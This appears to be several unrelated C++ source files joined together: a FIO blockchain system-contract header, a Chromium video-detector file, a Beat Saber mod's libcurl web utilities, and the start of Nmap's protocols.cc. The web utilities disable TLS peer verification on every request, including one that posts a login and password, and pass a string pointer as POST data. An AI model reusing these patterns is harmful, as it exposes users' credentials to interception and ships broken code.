int32_t payouts_performed = 0; //this is the number of payouts performed thus far.
int32_t can_vote = 0; //this is the flag indicating if the lock is votable/proxy-able
std::vector<lockperiods> periods;// this is the locking periods for the lock
int64_t remaining_lock_amount = 0; //this is the amount remaining in the lock in FIO SUF, get decremented as unlocking occurs.
uint32_t timestamp = 0; //this is the time of creation of the lock, locking periods are relative to this time.
uint64_t primary_key() const { return id; }
uint64_t by_owner() const{return owner_account.value;}
EOSLIB_SERIALIZE( locked_tokens_info, (id)(owner_account)
(lock_amount)(payouts_performed)(can_vote)(periods)(remaining_lock_amount)(timestamp)
)
};
typedef eosio::multi_index<"locktokens"_n, locked_tokens_info,
indexed_by<"byowner"_n, const_mem_fun < locked_tokens_info, uint64_t, &locked_tokens_info::by_owner> >
>
general_locks_table;
//end general locks
//Top producers that are calculated every block in update_elected_producers
struct [[eosio::table, eosio::contract("fio.system")]] top_prod_info {
name producer;
uint64_t primary_key() const { return producer.value; }
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( top_prod_info, (producer)
)
};
typedef eosio::multi_index<"topprods"_n, top_prod_info>
top_producers_table;
struct [[eosio::table, eosio::contract("fio.system")]] producer_info {
uint64_t id;
name owner;
string fio_address; //this is the fio address to be used for bundled fee collection
//for tx that are fee type bundled, just use the one fio address
//you want to have pay for the bundled fee transactions associated
//with this producer.
uint128_t addresshash;
double total_votes = 0;
eosio::public_key producer_public_key; /// a packed public key object
bool is_active = true;
std::string url;
uint32_t unpaid_blocks = 0;
time_point last_claim_time; //this is the last time a payout was given to this producer.
uint32_t last_bpclaim; //this is the last time bpclaim was called for this producer.
//init this to zero here to ensure that if the location is not specified, sorting will still work.
uint16_t location = 0;
uint64_t primary_key() const { return id; }
uint64_t by_owner() const{return owner.value;}
uint128_t by_address() const{return addresshash;}
double by_votes() const { return is_active ? -total_votes : total_votes; }
bool active() const { return is_active; }
void deactivate() {
producer_public_key = public_key();
is_active = false;
}
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( producer_info, (id)(owner)(fio_address)(addresshash)(total_votes)(producer_public_key)(is_active)(url)
(unpaid_blocks)(last_claim_time)(last_bpclaim)(location)
)
};
typedef eosio::multi_index<"producers"_n, producer_info,
indexed_by<"prototalvote"_n, const_mem_fun < producer_info, double, &producer_info::by_votes> >,
indexed_by<"byaddress"_n, const_mem_fun < producer_info, uint128_t, &producer_info::by_address> >,
indexed_by<"byowner"_n, const_mem_fun < producer_info, uint64_t, &producer_info::by_owner> >
>
producers_table;
struct [[eosio::table, eosio::contract("fio.system")]] voter_info {
uint64_t id; //one up id is primary key.
string fioaddress; //this is the fio address to be used for bundled fee collection
//for tx that are fee type bundled, just use the one fio address
//you want to have pay for the bundled fee transactions associated
//with this voter.
uint128_t addresshash; //this is the hash of the fio address for searching
name owner; /// the voter
name proxy; /// the proxy set by the voter, if any
std::vector <name> producers; /// the producers approved by this voter if no proxy set
/**
* Every time a vote is cast we must first "undo" the last vote weight, before casting the
* new vote weight. Vote weight is calculated as:
*
* stated.amount * 2 ^ ( weeks_since_launch/weeks_per_year)
*/
double last_vote_weight = 0; /// the vote weight cast the last time the vote was updated
/**
* Total vote weight delegated to this voter.
*/
double proxied_vote_weight = 0; /// the total vote weight delegated to this voter as a proxy
bool is_proxy = 0; /// whether the voter is a proxy for others
bool is_auto_proxy = 0;
uint32_t reserved2 = 0;
eosio::asset reserved3;
uint64_t primary_key() const{return id;}
uint128_t by_address() const {return addresshash;}
uint64_t by_owner() const { return owner.value; }
// explicit serialization macro is not necessary, used here only to improve compilation time
EOSLIB_SERIALIZE( voter_info, (id)(fioaddress)(addresshash)(owner)(proxy)(producers)(last_vote_weight)(proxied_vote_weight)(is_proxy)(is_auto_proxy)(reserved2)(reserved3)
)
};
typedef eosio::multi_index<"voters"_n, voter_info,
indexed_by<"byaddress"_n, const_mem_fun<voter_info, uint128_t, &voter_info::by_address>>,
indexed_by<"byowner"_n, const_mem_fun<voter_info, uint64_t, &voter_info::by_owner>>
> voters_table;
//MAS-522 eliminate producers2 table typedef eosio::multi_index<"producers2"_n, producer_info2> producers_table2;
typedef eosio::singleton<"global"_n, eosio_global_state> global_state_singleton;
typedef eosio::singleton<"global2"_n, eosio_global_state2> global_state2_singleton;
typedef eosio::singleton<"global3"_n, eosio_global_state3> global_state3_singleton;
static constexpr uint32_t seconds_per_day = 24 * 3600;
class [[eosio::contract("fio.system")]] system_contract : public native {
private:
voters_table _voters;
producers_table _producers;
top_producers_table _topprods;
locked_tokens_table _lockedtokens;
general_locks_table _generallockedtokens;
//MAS-522 eliminate producers2 producers_table2 _producers2;
global_state_singleton _global;
global_state2_singleton _global2;
global_state3_singleton _global3;
eosio_global_state _gstate;
eosio_global_state2 _gstate2;
eosio_global_state3 _gstate3;
fioio::fionames_table _fionames;
fioio::domains_table _domains;
fioio::fiofee_table _fiofees;
fioio::eosio_names_table _accountmap;
public:
static constexpr eosio::name active_permission{"active"_n};
static constexpr eosio::name token_account{"fio.token"_n};
static constexpr eosio::name ram_account{"eosio.ram"_n};
static constexpr eosio::name ramfee_account{"eosio.ramfee"_n};
static constexpr eosio::name stake_account{"eosio.stake"_n};
static constexpr eosio::name bpay_account{"eosio.bpay"_n};
static constexpr eosio::name vpay_account{"eosio.vpay"_n};
static constexpr eosio::name names_account{"eosio.names"_n};
static constexpr eosio::name saving_account{"eosio.saving"_n};
static constexpr eosio::name null_account{"eosio.null"_n};
static constexpr symbol ramcore_symbol = symbol(symbol_code("FIO"),9);
system_contract(name s, name code, datastream<const char *> ds);
~system_contract();
// Actions:
[[eosio::action]]
void init(const unsigned_int &version, const symbol &core);
//this action inits the locked token holder table.
[[eosio::action]]
void addlocked(const name &owner, const int64_t &amount,
const int16_t &locktype);
[[eosio::action]]
void addgenlocked(const name &owner, const vector<lockperiods> &periods, const bool &canvote,const int64_t &amount);
[[eosio::action]]
void onblock(ignore <block_header> header);
// functions defined in delegate_bandwidth.cp
// functions defined in voting.cpp
[[eosio::action]]
void burnaction(const uint128_t &fioaddrhash);
[[eosio::action]]
void incram(const name &accountmn, const int64_t &amount);
[[eosio::action]]
void updlocked(const name &owner,const uint64_t &amountremaining);
[[eosio::action]]
void inhibitunlck(const name &owner,const uint32_t &value);
[[eosio::action]]
void unlocktokens(const name &actor);
void regiproducer(const name &producer, const string &producer_key, const std::string &url, const uint16_t &location,
const string &fio_address);
[[eosio::action]]
void regproducer(const string &fio_address, const string &fio_pub_key, const std::string &url, const uint16_t &location, const name &actor,
const int64_t &max_fee);
[[eosio::action]]
void unregprod(const string &fio_address, const name &actor, const int64_t &max_fee);
/*
[[eosio::action]]
void vproducer(const name &voter, const name &proxy, const std::vector<name> &producers); //server call
*/
[[eosio::action]]
void voteproducer(const std::vector<string> &producers, const string &fio_address, const name &actor, const int64_t &max_fee);
[[eosio::action]]
void updatepower(const name &voter, bool updateonly);
[[eosio::action]]
void voteproxy(const string &proxy, const string &fio_address, const name &actor, const int64_t &max_fee);
[[eosio::action]]
void setautoproxy(const name &proxy,const name &owner);
[[eosio::action]]
void crautoproxy(const name &proxy,const name &owner);
[[eosio::action]]
void unregproxy(const std::string &fio_address, const name &actor, const int64_t &max_fee);
[[eosio::action]]
void regproxy(const std::string &fio_address, const name &actor, const int64_t &max_fee);
void regiproxy(const name &proxy, const string &fio_address, const bool &isproxy);
[[eosio::action]]
void setparams(const eosio::blockchain_parameters ¶ms);
// functions defined in producer_pay.cpp
[[eosio::action]]
void resetclaim(const name &producer);
//update last bpclaim time
[[eosio::action]]
void updlbpclaim(const name &producer);
[[eosio::action]]
void setpriv(const name &account,const uint8_t &is_priv);
[[eosio::action]]
void rmvproducer(const name &producer);
[[eosio::action]]
void updtrevision(const uint8_t &revision);
using init_action = eosio::action_wrapper<"init"_n, &system_contract::init>;
using regproducer_action = eosio::action_wrapper<"regproducer"_n, &system_contract::regproducer>;
using regiproducer_action = eosio::action_wrapper<"regiproducer"_n, &system_contract::regiproducer>;
using unregprod_action = eosio::action_wrapper<"unregprod"_n, &system_contract::unregprod>;
// using vproducer_action = eosio::action_wrapper<"vproducer"_n, &system_contract::vproducer>;
using voteproducer_action = eosio::action_wrapper<"voteproducer"_n, &system_contract::voteproducer>;
using voteproxy_action = eosio::action_wrapper<"voteproxy"_n, &system_contract::voteproxy>;
using regproxy_action = eosio::action_wrapper<"regproxy"_n, &system_contract::regproxy>;
using regiproxy_action = eosio::action_wrapper<"regiproxy"_n, &system_contract::regiproxy>;
using crautoproxy_action = eosio::action_wrapper<"crautoproxy"_n, &system_contract::crautoproxy>;
using rmvproducer_action = eosio::action_wrapper<"rmvproducer"_n, &system_contract::rmvproducer>;
using updtrevision_action = eosio::action_wrapper<"updtrevision"_n, &system_contract::updtrevision>;
using setpriv_action = eosio::action_wrapper<"setpriv"_n, &system_contract::setpriv>;
using setparams_action = eosio::action_wrapper<"setparams"_n, &system_contract::setparams>;
private:
// Implementation details:
//defined in fio.system.cpp
static eosio_global_state get_default_parameters();
static time_point current_time_point();
static time_point_sec current_time_point_sec();
static block_timestamp current_block_time();
// defined in delegate_bandwidth.cpp
void changebw(name from, name receiver,
asset stake_net_quantity, asset stake_cpu_quantity, bool transfer);
//void update_voting_power(const name &voter, const asset &total_update);
// defined in voting.hpp
void update_elected_producers(const block_timestamp& timestamp);
uint64_t get_votable_balance(const name &tokenowner);
glockresult get_general_votable_balance(const name &tokenowner);
void unlock_tokens(const name &actor);
void update_votes(const name &voter, const name &proxy, const std::vector <name> &producers, const bool &voting);
void propagate_weight_change(const voter_info &voter);
double update_total_votepay_share(time_point ct,
double additional_shares_delta = 0.0, double shares_rate_delta = 0.0);
template<auto system_contract::*...Ptrs>
class registration {
public:
template<auto system_contract::*P, auto system_contract::*...Ps>
struct for_each {
template<typename... Args>
static constexpr void call(system_contract *this_contract, Args &&... args) {
std::invoke(P, this_contract, std::forward<Args>(args)...);
for_each<Ps...>::call(this_contract, std::forward<Args>(args)...);
}
};
template<auto system_contract::*P>
struct for_each<P> {
template<typename... Args>
static constexpr void call(system_contract *this_contract, Args &&... args) {
std::invoke(P, this_contract, std::forward<Args>(args)...);
}
};
template<typename... Args>
constexpr void operator()(Args &&... args) {
for_each<Ptrs...>::call(this_contract, std::forward<Args>(args)...);
}
system_contract *this_contract;
};
};
} /// eosiosystem
| 19,441 | 6,643 |
// Copyright 2017 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#include "services/ui/ws/video_detector_impl.h"
#include "components/viz/host/host_frame_sink_manager.h"
namespace ui {
namespace ws {
VideoDetectorImpl::VideoDetectorImpl(
viz::HostFrameSinkManager* host_frame_sink_manager)
: host_frame_sink_manager_(host_frame_sink_manager) {}
VideoDetectorImpl::~VideoDetectorImpl() = default;
void VideoDetectorImpl::AddBinding(mojom::VideoDetectorRequest request) {
binding_set_.AddBinding(this, std::move(request));
}
void VideoDetectorImpl::AddObserver(
viz::mojom::VideoDetectorObserverPtr observer) {
host_frame_sink_manager_->AddVideoDetectorObserver(std::move(observer));
}
} // namespace ws
} // namespace ui
| 846 | 281 |
#include "main.hpp"
#include "Utils/WebUtils.hpp"
#include "libcurl/shared/curl.h"
#include "libcurl/shared/easy.h"
#include <filesystem>
#include <sstream>
#define TIMEOUT 10
#define USER_AGENT std::string(ID "/" VERSION " (BeatSaber/" + GameVersion + ") (Oculus)").c_str()
#define X_BSSB "X-BSSB: ✔"
namespace WebUtils {
std::string GameVersion = "Unknown";
//https://stackoverflow.com/a/55660581
std::string query_encode(const std::string& s)
{
std::string ret;
#define IS_BETWEEN(ch, low, high) (ch >= low && ch <= high)
#define IS_ALPHA(ch) (IS_BETWEEN(ch, 'A', 'Z') || IS_BETWEEN(ch, 'a', 'z'))
#define IS_DIGIT(ch) IS_BETWEEN(ch, '0', '9')
#define IS_HEXDIG(ch) (IS_DIGIT(ch) || IS_BETWEEN(ch, 'A', 'F') || IS_BETWEEN(ch, 'a', 'f'))
for(size_t i = 0; i < s.size();)
{
char ch = s[i++];
if (IS_ALPHA(ch) || IS_DIGIT(ch))
{
ret += ch;
}
else if ((ch == '%') && IS_HEXDIG(s[i+0]) && IS_HEXDIG(s[i+1]))
{
ret += s.substr(i-1, 3);
i += 2;
}
else
{
switch (ch)
{
case '-':
case '.':
case '_':
case '~':
case '!':
case '$':
case '&':
case '\'':
case '(':
case ')':
case '*':
case '+':
case ',':
case ';':
case '=':
case ':':
case '@':
case '/':
case '?':
case '[':
case ']':
ret += ch;
break;
default:
{
static const char hex[] = "0123456789ABCDEF";
char pct[] = "% ";
pct[1] = hex[(ch >> 4) & 0xF];
pct[2] = hex[ch & 0xF];
ret.append(pct, 3);
break;
}
}
}
}
return ret;
}
std::size_t CurlWrite_CallbackFunc_StdString(void *contents, std::size_t size, std::size_t nmemb, std::string *s)
{
std::size_t newLength = size * nmemb;
try {
s->append((char*)contents, newLength);
} catch(std::bad_alloc &e) {
//handle memory problem
getLogger().critical("Failed to allocate string of size: %lu", newLength);
return 0;
}
return newLength;
}
std::optional<rapidjson::Document> GetJSON(std::string url) {
std::string data;
Get(url, data);
rapidjson::Document document;
document.Parse(data);
if(document.HasParseError() || !document.IsObject())
return std::nullopt;
return document;
}
long Get(std::string url, std::string& val) {
return Get(url, TIMEOUT, val);
}
long Get(std::string url, long timeout, std::string& val) {
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
// Init curl
auto* curl = curl_easy_init();
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "GET");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, reinterpret_cast<void*>(&val));
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
auto res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
return httpCode;
}
struct ProgressUpdateWrapper {
std::function<void(float)> progressUpdate;
long length;
};
void GetAsync(std::string url, std::function<void(long, std::string)> finished, std::function<void(float)> progressUpdate) {
GetAsync(url, TIMEOUT, finished, progressUpdate);
}
void GetAsync(std::string url, long timeout, std::function<void(long, std::string)> finished, std::function<void(float)> progressUpdate) {
std::thread t (
[url, timeout, progressUpdate, finished] {
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
std::string val;
// Init curl
auto* curl = curl_easy_init();
struct curl_slist *headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_CUSTOMREQUEST, "GET");
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
ProgressUpdateWrapper* wrapper = new ProgressUpdateWrapper { progressUpdate };
if(progressUpdate) {
// Internal CURL progressmeter must be disabled if we provide our own callback
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);
curl_easy_setopt(curl, CURLOPT_XFERINFODATA, wrapper);
// Install the callback function
curl_easy_setopt(curl, CURLOPT_XFERINFOFUNCTION,
+[] (void* clientp, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow) {
float percentage = (float)dlnow / (float)dltotal * 100.0f;
if(isnan(percentage))
percentage = 0.0f;
reinterpret_cast<ProgressUpdateWrapper*>(clientp)->progressUpdate(percentage);
return 0;
}
);
}
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
auto res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
delete wrapper;
finished(httpCode, val);
}
);
t.detach();
}
void GetJSONAsync(std::string url, std::function<void(long, bool, rapidjson::Document&)> finished) {
GetAsync(url,
[finished] (long httpCode, std::string data) {
rapidjson::Document document;
document.Parse(data);
finished(httpCode, document.HasParseError() || !document.IsObject(), document);
}
);
}
void PostJSONAsync(std::string url, std::string data, std::function<void(long, std::string)> finished) {
PostJSONAsync(url, data, TIMEOUT, finished);
}
void PostJSONAsync(std::string url, std::string data, long timeout, std::function<void(long, std::string)> finished) {
std::thread t(
[url, timeout, data, finished] {
std::string val;
// Init curl
auto* curl = curl_easy_init();
//auto form = curl_mime_init(curl);
struct curl_slist* headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
headers = curl_slist_append(headers, "Content-Type: application/json");
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, &data);
CURLcode res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
//curl_mime_free(form);
finished(httpCode, val);
}
);
t.detach();
}
void PostFormAsync(std::string url, std::string action, std::string login, std::string password, std::function<void(long, std::string)> finished) {
std::thread t(
[url, action, login, password, finished] {
long timeout = TIMEOUT;
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
std::string val;
// Init curl
auto* curl = curl_easy_init();
//auto form = curl_mime_init(curl);
struct curl_slist* headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
headers = curl_slist_append(headers, "Content-Type: multipart/form-data");
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
struct curl_httppost *formpost=NULL;
struct curl_httppost *lastptr=NULL;
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "action",
CURLFORM_COPYCONTENTS, action.c_str(),
CURLFORM_END);
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "login",
CURLFORM_COPYCONTENTS, login.c_str(),
CURLFORM_END);
curl_formadd(&formpost,
&lastptr,
CURLFORM_COPYNAME, "password",
CURLFORM_COPYCONTENTS, password.c_str(),
CURLFORM_END);
curl_easy_setopt(curl, CURLOPT_HTTPPOST, formpost);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
CURLcode res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
curl_formfree(formpost);
//curl_mime_free(form);
finished(httpCode, val);
}
);
t.detach();
}
struct input {
FILE *in;
size_t bytes_read; /* count up */
CURL *hnd;
};
static size_t read_callback(char *ptr, size_t size, size_t nmemb, void *userp)
{
struct input *i = (struct input *)userp;
size_t retcode = fread(ptr, size, nmemb, i->in);
i->bytes_read += retcode;
return retcode;
}
void PostFileAsync(std::string url, FILE* data, long length, long timeout, std::function<void(long, std::string)> finished, std::function<void(float)> progressUpdate) {
std::thread t(
[url, timeout, data, finished, length, progressUpdate] {
std::string val;
std::string directory = getDataDir(modInfo) + "cookies/";
std::filesystem::create_directories(directory);
std::string cookieFile = directory + "cookies.txt";
// Init curl
auto* curl = curl_easy_init();
struct input i;
i.in = data;
i.hnd = curl;
//auto form = curl_mime_init(curl);
struct curl_slist* headers = NULL;
headers = curl_slist_append(headers, "Accept: */*");
headers = curl_slist_append(headers, X_BSSB);
headers = curl_slist_append(headers, "Content-Type: application/octet-stream");
// Set headers
curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers);
curl_easy_setopt(curl, CURLOPT_URL, query_encode(url).c_str());
curl_easy_setopt(curl, CURLOPT_UPLOAD, 1L);
curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookieFile.c_str());
curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookieFile.c_str());
// Don't wait forever, time out after TIMEOUT seconds.
curl_easy_setopt(curl, CURLOPT_TIMEOUT, timeout);
ProgressUpdateWrapper* wrapper = new ProgressUpdateWrapper { progressUpdate, length };
if (progressUpdate) {
// Internal CURL progressmeter must be disabled if we provide our own callback
curl_easy_setopt(curl, CURLOPT_NOPROGRESS, false);
curl_easy_setopt(curl, CURLOPT_XFERINFODATA, wrapper);
// Install the callback function
curl_easy_setopt(curl, CURLOPT_XFERINFOFUNCTION,
+[] (void* clientp, curl_off_t dltotal, curl_off_t dlnow, curl_off_t ultotal, curl_off_t ulnow) {
float percentage = (ulnow / (float)reinterpret_cast<ProgressUpdateWrapper*>(clientp)->length) * 100.0f;
if(isnan(percentage))
percentage = 0.0f;
reinterpret_cast<ProgressUpdateWrapper*>(clientp)->progressUpdate(percentage);
return 0;
}
);
}
// Follow HTTP redirects if necessary.
curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, CurlWrite_CallbackFunc_StdString);
long httpCode(0);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, &val);
curl_easy_setopt(curl, CURLOPT_USERAGENT, USER_AGENT);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, false);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
curl_easy_setopt(curl, CURLOPT_READFUNCTION, read_callback);
/* size of the POST data */
curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE_LARGE, length);
/* binary data */
curl_easy_setopt(curl, CURLOPT_READDATA, &i);
CURLcode res = curl_easy_perform(curl);
/* Check for errors */
if (res != CURLE_OK) {
getLogger().critical("curl_easy_perform() failed: %u: %s", res, curl_easy_strerror(res));
}
curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode);
curl_easy_cleanup(curl);
//curl_mime_free(form);
finished(httpCode, val);
}
);
t.detach();
}
} | 18,918 | 5,470 |
/***************************************************************************
* protocols.cc -- Functions relating to the protocol scan and mapping *
* between IPproto Number <-> name. *
* *
***********************IMPORTANT NMAP LICENSE TERMS************************
* *
* The Nmap Security Scanner is (C) 1996-2004 Insecure.Com LLC. Nmap *
* is also a registered trademark of Insecure.Com LLC. This program is *
* free software; you may redistribute and/or modify it under the *
* terms of the GNU General Public License as published by the Free *
* Software Foundation; Version 2. This guarantees your right to use, *
* modify, and redistribute this software under certain conditions. If *
* you wish to embed Nmap technology into proprietary software, we may be *
* willing to sell alternative licenses (contact sales@insecure.com). *
* Many security scanner vendors already license Nmap technology such as *
* our remote OS fingerprinting database and code, service/version *
* detection system, and port scanning code. *
* *
* Note that the GPL places important restrictions on "derived works", yet *
* it does not provide a detailed definition of that term. To avoid *
* misunderstandings, we consider an application to constitute a *
* "derivative work" for the purpose of this license if it does any of the *
* following: *
* o Integrates source code from Nmap *
* o Reads or includes Nmap copyrighted data files, such as *
* nmap-os-fingerprints or nmap-service-probes. *
* o Executes Nmap and parses the results (as opposed to typical shell or *
* execution-menu apps, which simply display raw Nmap output and so are *
* not derivative works.) *
* o Integrates/includes/aggregates Nmap into a proprietary executable *
* installer, such as those produced by InstallShield. *
* o Links to a library or executes a program that does any of the above *
* *
* The term "Nmap" should be taken to also include any portions or derived *
* works of Nmap. This list is not exclusive, but is just meant to *
* clarify our interpretation of derived works with some common examples. *
* These restrictions only apply when you actually redistribute Nmap. For *
* example, nothing stops you from writing and selling a proprietary *
* front-end to Nmap. Just distribute it by itself, and point people to *
* http://www.insecure.org/nmap/ to download Nmap. *
* *
* We don't consider these to be added restrictions on top of the GPL, but *
* just a clarification of how we interpret "derived works" as it applies *
* to our GPL-licensed Nmap product. This is similar to the way Linus *
* Torvalds has announced his interpretation of how "derived works" *
* applies to Linux kernel modules. Our interpretation refers only to *
* Nmap - we don't speak for any other GPL products. *
* *
* If you have any questions about the GPL licensing restrictions on using *
* Nmap in non-GPL works, we would be happy to help. As mentioned above, *
* we also offer alternative license to integrate Nmap into proprietary *
* applications and appliances. These contracts have been sold to many *
* security vendors, and generally include a perpetual license as well as *
* providing for priority support and updates as well as helping to fund *
* the continued development of Nmap technology. Please email *
* sales@insecure.com for further information. *
* *
* As a special exception to the GPL terms, Insecure.Com LLC grants *
* permission to link the code of this program with any version of the *
* OpenSSL library which is distributed under a license identical to that *
* listed in the included Copying.OpenSSL file, and distribute linked *
* combinations including the two. You must obey the GNU GPL in all *
* respects for all of the code used other than OpenSSL. If you modify *
* this file, you may extend this exception to your version of the file, *
* but you are not obligated to do so. *
* *
* If you received these files with a written license agreement or *
* contract stating terms other than the terms above, then that *
* alternative license agreement takes precedence over these comments. *
* *
* Source is provided to this software because we believe users have a *
* right to know exactly what a program is going to do before they run it. *
* This also allows you to audit the software for security holes (none *
* have been found so far). *
* *
* Source code also allows you to port Nmap to new platforms, fix bugs, *
* and add new features. You are highly encouraged to send your changes *
* to fyodor@insecure.org for possible incorporation into the main *
* distribution. By sending these changes to Fyodor or one the *
* Insecure.Org development mailing lists, it is assumed that you are *
* offering Fyodor and Insecure.Com LLC the unlimited, non-exclusive right *
* to reuse, modify, and relicense the code. Nmap will always be *
* available Open Source, but this is important because the inability to *
* relicense code has caused devastating problems for other Free Software *
* projects (such as KDE and NASM). We also occasionally relicense the *
* code to third parties as discussed above. If you wish to specify *
* special license conditions of your contributions, just say so when you *
* send them. *
* *
* This program is distributed in the hope that it will be useful, but *
* WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU *
* General Public License for more details at *
* http://www.gnu.org/copyleft/gpl.html , or in the COPYING file included *
* with Nmap. *
* *
***************************************************************************/
/* $Id: protocols.cc 2396 2004-08-29 09:12:05Z fyodor $ */
#include "protocols.h"
#include "NmapOps.h"
extern NmapOps o;
static int protocols_initialized = 0;
static int numipprots = 0;
static struct protocol_list *protocol_table[PROTOCOL_TABLE_SIZE];
static int nmap_protocols_init() {
char filename[512];
FILE *fp;
char protocolname[128];
unsigned short protno;
char *p;
char line[1024];
int lineno = 0;
struct protocol_list *current, *previous;
int res;
if (nmap_fetchfile(filename, sizeof(filename), "nmap-protocols") == -1) {
error("Unable to find nmap-protocols! Resorting to /etc/protocol");
strcpy(filename, "/etc/protocols");
}
fp = fopen(filename, "r");
if (!fp) {
fatal("Unable to open %s for reading protocol information", filename);
}
memset(protocol_table, 0, sizeof(protocol_table));
while(fgets(line, sizeof(line), fp)) {
lineno++;
p = line;
